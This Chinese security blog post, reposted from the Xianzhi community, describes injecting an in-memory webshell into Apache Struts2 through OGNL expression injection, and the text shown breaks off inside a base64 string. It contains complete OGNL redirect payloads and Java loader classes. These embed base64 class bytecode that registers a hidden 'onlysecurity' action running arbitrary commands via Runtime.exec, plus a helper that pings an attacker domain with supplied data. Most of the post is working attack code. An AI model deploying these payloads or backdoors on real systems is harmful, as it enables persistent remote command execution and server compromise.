本文首发于先知社区 https://xz.aliyun.com/t/12237
0x01 背景
之前写过一篇关于Struts2绕过的文章,当时就想过怎么去注入内存马,不然加载恶意类去执行命令,也挺烦的,再加上一直都没有看到过struts2内存马注入的工具、文章,奈何当时太菜,没有继续深入;前几天被mc提醒了一下,说是看到过Struts2内存马的一篇文章(放到文末了),去看了一下,又勾起了对struts2内存马的研究欲望;
0x02 代码注入内存马成功
在action直接执行命令,是可以直接注入内存马
struts.xml如下
当访问login111的test2函数,注入内存马
执行命令
0x03 ognl注入内存马失败
0x001 ognl注入失败的问题
这里想通过ognl表达式去注入内存马,发现不行,原因如下:
-
如果把函数全部放到恶意类class里面,会找不到ActionContext.class,从而报错 -
如果打算把函数全部放到ognl表达式里面,会发现在进行Thread创建对象的时候无法创建
当尝试使用ognl表达式一直赋值到obj5,再通过恶意类加载剩余的函数时,发现注入不了内存马,原因还是在于Classloader的问题,找不到相应的class,一直到这里,也不是没有收获的
发现了一个有点用的东西,可能可以进行自定义命令运行,如下:
这里payload含义是加载了hello.class,传入了cccc这个参数
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxx/xxxxx")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#ot.print(#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},"cccc")),#ot.flush(),#ot.close()}
hello.class如下
import java.lang.Runtime;
import java.lang.Process;
public class hello1 {
public hello1(String a) {
try {
String[] commands = { "ping","-c","1" ,a + "123412.xxxx.xxxxx.cn" };
Process pc = Runtime.getRuntime().exec(commands);
} catch (Exception e) {
} }
public static void main(String[] args, String a) {
hello1 aa = new hello1(a);
}
}
可以自定义对域名进行请求,那么可以扩展成为shell去执行任意命令,而不需要去更改class
0x002 问题1
接着说问题1,如果找不到ActionContext.class
贴上当时问的很傻的问题(classloader不同,当然不能这么放类)
那么我直接通过ClassLoader.defineClass去加载这个类呢
//import org.apache.catalina.loader.WebappClassLoaderBase;
//import org.apache.struts2.ServletActionContext;
import java.io.FileWriter;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;
import java.util.Arrays;
import java.util.LinkedHashMap;
import com.opensymphony.xwork2.config.entities.ActionConfig;
import com.opensymphony.xwork2.util.location.Located;
import java.net.URLClassLoader;
/**
* @DESCRIPTION:
* @USER: f0ng
* @DATE: 2023/2/23 下午3:44
*/public class hello {
public hello(java.util.LinkedHashMap obj5) throws Exception {
try {
String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
URLClassLoader loader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
String s2 = "yv66vgAAADEAtAkAHAB4CgAsAHkJABwAegkAHAB7CQAcAHwHAH0KAAYAeQkAHAB+CQAcAH8HAIAKAAoAeQkAHACBCQAcAIIHAIMKAA4AeQkAHACECQAcAIUKAAYAhgoACgCHCgAOAIcLAIgAiQgAigsAiACLCwCMAI0KAI4AjwgAkAsAiACRBwCSCgCTAI8KAJMAlAoAjgCUBwCVCgAgAHkIAJYKACAAlwgAmAgAmQgAmggAmwgAnAoAIACdCACeCgAgAJ8HAKAHAKEHAKIBAAdCdWlsZGVyAQAMSW5uZXJDbGFzc2VzAQAOREVGQVVMVF9NRVRIT0QBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAIV0lMRENBUkQBAAxpbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAJU2lnbmF0dXJlAQBOTGphdmEvdXRpbC9MaXN0PExjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvSW50ZXJjZXB0b3JNYXBwaW5nOz47AQAGcGFyYW1zAQAPTGphdmEvdXRpbC9NYXA7AQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAAdyZXN1bHRzAQBZTGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9SZXN1bHRDb25maWc7PjsBABFleGNlcHRpb25NYXBwaW5ncwEAUkxqYXZhL3V0aWwvTGlzdDxMY29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0V4Y2VwdGlvbk1hcHBpbmdDb25maWc7PjsBAAljbGFzc05hbWUBAAptZXRob2ROYW1lAQALcGFja2FnZU5hbWUBAARuYW1lAQAOYWxsb3dlZE1ldGhvZHMBAA9MamF2YS91dGlsL1NldDsBACNMamF2YS91dGlsL1NldDxMamF2YS9sYW5nL1N0cmluZzs+OwEABjxpbml0PgEAOShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA2TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9BY3Rpb25Db25maWc7AQA5KExjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvQWN0aW9uQ29uZmlnOylWAQAEb3JpZwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGdldENsYXNzTmFtZQEAFGdldEV4Y2VwdGlvbk1hcHBpbmdzAQASKClMamF2YS91dGlsL0xpc3Q7AQBUKClMamF2YS91dGlsL0xpc3Q8TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9FeGNlcHRpb25NYXBwaW5nQ29uZmlnOz47AQAPZ2V0SW50ZXJjZXB0b3JzAQBQKClMamF2YS91dGlsL0xpc3Q8TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9JbnRlcmNlcHRvck1hcHBpbmc7PjsBABFnZXRBbGxvd2VkTWV0aG9kcwEAESgpTGphdmEvdXRpbC9TZXQ7AQAlKClMamF2YS91dGlsL1NldDxMamF2YS9sYW5nL1N0cmluZzs+OwEADWdldE1ldGhvZE5hbWUBAA5nZXRQYWNrYWdlTmFtZQEACWdldFBhcmFtcwEAESgpTGphdmEvdXRpbC9NYXA7AQA3KClMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+OwEACmdldFJlc3VsdHMBAFsoKUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvUmVzdWx0Q29uZmlnOz47AQAPaXNBbGxvd2VkTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbWV0aG9kAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADGFjdGlvbkNvbmZpZwEACGhhc2hDb2RlAQADKClJAQAGcmVzdWx0AQABSQEACHRvU3RyaW5nAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAKYWNjZXNzJDAwMgEAmChMY29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0FjdGlvbkNvbmZpZztMY29tL29wZW5zeW1waG9ueS94d29yazIvdXRpbC9sb2NhdGlvbi9Mb2NhdGlvbjspTGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL3V0aWwvbG9jYXRpb24vTG9jYXRpb247AQACeDABAAJ4MQEAMExjb20vb3BlbnN5bXBob255L3h3b3JrMi91dGlsL2xvY2F0aW9uL0xvY2F0aW9uOwEAClNvdXJjZUZpbGUBABFBY3Rpb25Db25maWcuamF2YQwAowB1DABHAKQMAEIAMgwAQwAyDABAADIBABdqYXZhL3V0aWwvTGlua2VkSGFzaE1hcAwAOQA6DAA8ADoBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA1ADYMAD4ANgEAEWphdmEvdXRpbC9IYXNoU2V0DABEAEUMAEEAMgwARwClDABHAKYHAKcMAKgAawEAASoMAKkAqgcAqwwArACtBwCuDABlAGYBAAdleGVjdXRlDACvAGYBADRjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvQWN0aW9uQ29uZmlnBwCwDABqAGsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADntBY3Rpb25Db25maWcgDACxALIBAAIgKAEAAS4BAAIoKQEAASkBAAMgLSAMALEAswEAAX0MAG4AUQEALWNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL3V0aWwvbG9jYXRpb24vTG9jYXRlZAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA8Y29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0FjdGlvbkNvbmZpZyRCdWlsZGVyAQAIbG9jYXRpb24BAAMoKVYBABIoTGphdmEvdXRpbC9NYXA7KVYBABkoTGphdmEvdXRpbC9Db2xsZWN0aW9uOylWAQANamF2YS91dGlsL1NldAEABHNpemUBAAhpdGVyYXRvcgEAFigpTGph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AAostAAQxgAFA6wErAAAAAIASgAAAFIAFAAAAJEABQCSAAcAlQAOAJYAEACZABUAmwA0AJwANgCfAFUAoABXAKMAdgClAHgAqACXAKkAmQCsALgArQC6ALAA2QCxANsAtAD6ALUA/AC4AEsAAAAgAAMAAAD+AEwATQAAAAAA/gBnAGgAAQAVAOkAaQBNAAIAAQBqAGsAAQBJAAABLQACAAIAAADVKrQADMYADSq0AAy2AB6nAAQDPBAfG2gqtAAIxgANKrQACLYAHqcABANgPBAfG2gqtAAJxgANKrQACbYAHqcABANgPBAfG2gqtAANxgANKrQADbYAHqcABANgPBAfG2gqtAAFxgANKrQABbYAH6cABANgPBAfG2gqtAARxgANKrQAEbYAH6cABANgPBAfG2gqtAADxgANKrQAA7YAH6cABANgPBAfG2gqtAAExgANKrQABLYAH6cABANgPBAfG2gqtAAQxgANKrQAELYAHqcABANgPBusAAAAAgBKAAAAKgAKAAAAvQATAL4AKwC/AEMAwABbAMEAcwDCAIsAwwCjAMQAuwDFANMAxgBLAAAAFgACAAAA1QBMAE0AAAATAMIAbABtAAEAAQBuAFEAAQBJAAAAuQACAAIAAABhuwAgWbcAIUwrEiK2ACNXKyq0AAS2ACMSJLYAI1crKrQABbYAI1cqtAARxgAWKxIltgAjKrQAEbYAIxImtgAjVysSJ7YAI1crEii2ACMqtAABtgApVysSKrYAI1crtgArsAAAAAIASgAAACoACgAAAMoACADLAA8AzAAdAM0AJgDOAC0AzwBAANEARwDSAFUA0wBcANQASwAAABYAAgAAAGEATABNAAAACABZAG8AcAABEAgAcQByAAEASQAAADsAAwACAAAAByorWrUAAbAAAAACAEoAAAAGAAEAAAAxAEsAAAAWAAIAAAAHAHMATQAAAAAABwB0AHUAAQACAHYAAAACAHcAMAAAAAoAAQAuABwALwAJ";
java.security.SecureClassLoader loader2 = (SecureClassLoader) this.getClass().getClassLoader();
byte[] decode2 = java.util.Base64.getDecoder().decode(s2);
java.lang.reflect.Method var472 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var472.setAccessible(true);
try {
Class var482 = (Class)var472.invoke(loader2, "com.opensymphony.xwork2.config.entities.ActionConfig", decode2, Integer.valueOf("0"), decode2.length);
java.lang.reflect.Constructor<?> constructor = var482.getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
constructor.setAccessible(true);
java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("/");
o1.put("onlysecurity", constructor.newInstance("f0ng", "onlysecurity", "com.demo.action.Cmd"));
}catch (Exception e2){
}
}catch (Exception e){
}
}
public static void main(String[] args,java.util.LinkedHashMap obj5) throws Exception {
hello aa = new hello(obj5);
}
}
payload如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#inv=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation'),#f2=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation').getClass().getDeclaredField("proxy"),#f2.setAccessible(true),#obj=#f2.get(#inv),#f3=#obj.getClass().getSuperclass().getDeclaredField("configuration"),#f3.setAccessible(true),#obj2=#f3.get(#obj),#f4=#obj2.getClass().getDeclaredField("runtimeConfiguration"),#f4.setAccessible(true),#obj3=#f4.get(#obj2),#f5=#obj3.getClass().getDeclaredField("namespaceActionConfigs"),#f5.setAccessible(true),#obj4=#f5.get(#obj3),#f6=#obj4.getClass().getDeclaredField("m"),#f6.setAccessible(true),#obj5=#f6.get(#obj4),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/xxxxx/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},#obj5),#ot.println(ClassLoader.getSystemClassLoader()),#ot.flush(),#ot.close()}
进度条是又进了一步,但是出现了一个很诡异的问题
类名一样,还不能强转?amazing!
茅塞顿开!
0x02 问题2
还是classloader的问题,那么就去翻阅struts2的文档了,去找一些可能可以获取到classloader的地方,如下:
application对象:用于访问ServletContext,例如#application.userName或者#application['userName'],相当于调用ServletContext的getAttribute("username")。
session对象:用来访问HttpSession,例如#session.userName或者#session['userName'],相当于调用session.getAttribute("userName")。
request对象:用来访问HttpServletRequest属性(attribute)的Map,例如#request.userName或者#request['userName'],相当于调用request.getAttribute("userName")。
parameters对象:用于访问HTTP的请求参数,例如#parameters.userName或者#parameters['userName'],相当于调用request.getParameter("username")。
attr对象:用于按page->request->session->application顺序访问其属性。
不清楚的话,就直接通过ognl表达式去打印出来
其实这里还有个相当于隐藏的参数,#this,当前类
这里也就是重点,通过#this.class.getClassLoader()
去获取类加载器,不放心,打印一下
仿佛在哪里看到过,回过头去action注入的时候debug一下
bingo,完全是一模一样,这就相当于成功了
0x04 ognl注入内存马
给出hello.java文件 hello.java
import java.util.LinkedHashMap;
/**
* @DESCRIPTION:
* @USER: f0ng
* @DATE: 2023/2/23 下午3:44
*/public class hello {
public hello( java.util.Map obj5) throws Exception {
try {
String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL